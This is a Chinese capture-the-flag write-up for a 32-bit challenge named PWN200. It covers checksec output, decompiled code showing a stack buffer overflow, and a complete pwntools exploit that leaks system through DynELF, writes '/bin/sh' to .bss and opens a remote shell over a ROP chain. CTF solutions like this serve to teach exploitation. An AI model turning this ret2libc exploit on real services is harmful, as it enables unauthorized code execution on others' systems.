题目链接
PWN200
题目和JarvisOJ level4很像
检查保护
利用checksec --file pwn200可以看到开启了NX防护
静态反编译结构
Main函数反编译结果如下
int __cdecl main() { int buf; // [esp+2Ch] [ebp-6Ch] int v2; // [esp+30h] [ebp-68h] int v3; // [esp+34h] [ebp-64h] int v4; // [esp+38h] [ebp-60h] int v5; // [esp+3Ch] [ebp-5Ch] int v6; // [esp+40h] [ebp-58h] int v7; // [esp+44h] [ebp-54h] buf = 1668048215; v2 = 543518063; v3 = 1478520692; v4 = 1179927364; v5 = 892416050; v6 = 663934; memset(&v7, 0, 0x4Cu); setbuf(stdout, (char *)&buf); write(1, &buf, strlen((const char *)&buf)); sub_8048484(); return 0; }
sub_8048484()反编译如下:
ssize_t sub_8048484() { char buf; // [esp+1Ch] [ebp-6Ch] setbuf(stdin, &buf); return read(0, &buf, 0x100u); //明显栈溢出 }
EXP思路
利用DynELF泄露出system地址,通过3pop,ret调用read函数,将'/bin/sh'写入到bss段中,之后构造ROP链system调用bss段中'/bin/sh'达到提权目的。
DynELF方法参考安全客的一篇文章【技术分享】借助DynELF实现无libc的漏洞利用小结
完整EXP
from pwn import * io = remote('111.198.29.45','39532') #io = process('./pwn200') #context.log_level= 'debug' elf = ELF('./pwn200') ppp_r = 0x80485cd read_got = elf.got['read'] read_plt = elf.plt['read'] main_addr = 0x80484be start_addr = 0x80483d0 write_plt = elf.plt['write'] write_got = elf.got['write'] func_addr = 0x8048484 def leak(address): payload1 = 'A'*112+p32(write_plt)+p32(func_addr)+p32(1)+p32(address)+p32(4) io.send(payload1) data = io.recv(4) print data return data print io.recv() dyn = DynELF(leak,elf=ELF('./pwn200')) sys_addr = dyn.lookup('system','libc') print 'system address: ',hex(sys_addr) payload = 'a'*112+p32(start_addr) io.send(payload) io.recv() bss_addr =elf.bss() print 'bss addr: ',hex(bss_addr) payload = 'a'*112 + p32(read_plt)+p32(ppp_r)+p32(0)+p32(bss_addr)+p32(8) payload +=p32(sys_addr)+p32(func_addr)+p32(bss_addr) io.send(payload) io.send('/bin/sh') io.interactive()